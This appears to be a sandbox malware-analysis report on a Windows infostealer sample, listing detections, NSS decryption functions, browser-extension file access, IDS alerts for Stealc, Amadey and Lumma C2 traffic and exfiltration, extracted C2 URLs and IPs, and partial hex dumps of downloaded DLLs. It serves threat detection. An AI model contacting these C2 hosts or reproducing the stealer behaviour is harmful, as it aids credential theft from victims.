Source: C:\Users\user\Documents\FIDGHIIECG.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1013061001\7215223519.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6CEBA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB44C0 PK11_PubEncrypt,	0_2_6CEB44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB4440 PK11_PrivDecrypt,	0_2_6CEB4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE84420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6CE84420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CF025B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6CF025B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CE9E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE98670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CE98670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CEBA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CEDA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEE0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CEE0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB43B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CEB43B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CED7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE97D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CE97D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CEDBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CED9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CED9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB3FF0 PK11_PrivDecryptPKCS1,	0_2_6CEB3FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB9840 NSS_Get_SECKEY_EncryptedPrivateKeyInfoTemplate,	0_2_6CEB9840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB3850 PK11_Encrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CEB3850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEDDA40 SEC_PKCS7ContentIsEncrypted,	0_2_6CEDDA40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB3560 PK11_Decrypt,TlsGetValue,EnterCriticalSection,SEC_PKCS12SetPreferredCipher,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_Unlock,TlsGetValue,EnterCriticalSection,PR_Unlock,PR_SetError,	0_2_6CEB3560

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.165.166:443 -> 192.168.2.7:50018 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1878703435.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1878703435.000000007012D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 9MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49701
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49701
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49701 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:49948 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057921 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz) : 192.168.2.7:65237 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:49957
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49980 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:49979 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49994 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:50001 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:50012 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:50013 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:50015 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:50014 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:50017 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:50016 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:50018 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50008 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057922 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI) : 192.168.2.7:49987 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49987 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49987 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:50013 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50013 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:50012 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:50012 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50001 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49980 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49980 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:50018 -> 172.67.165.166:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.7:50018 -> 172.67.165.166:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: impend-differ.biz
Source: Malware configuration extractor	URLs: dwell-exclaim.biz
Source: Malware configuration extractor	URLs: zinc-sneark.biz
Source: Malware configuration extractor	URLs: dare-curbys.biz
Source: Malware configuration extractor	URLs: covery-mover.biz
Source: Malware configuration extractor	URLs: se-blurry.biz
Source: Malware configuration extractor	URLs: formy-spill.biz
Source: Malware configuration extractor	URLs: atten-supporse.biz
Source: Malware configuration extractor	URLs: print-vexer.biz
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 23:48:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 23:48:40 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 07 Dec 2024 23:48:42 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 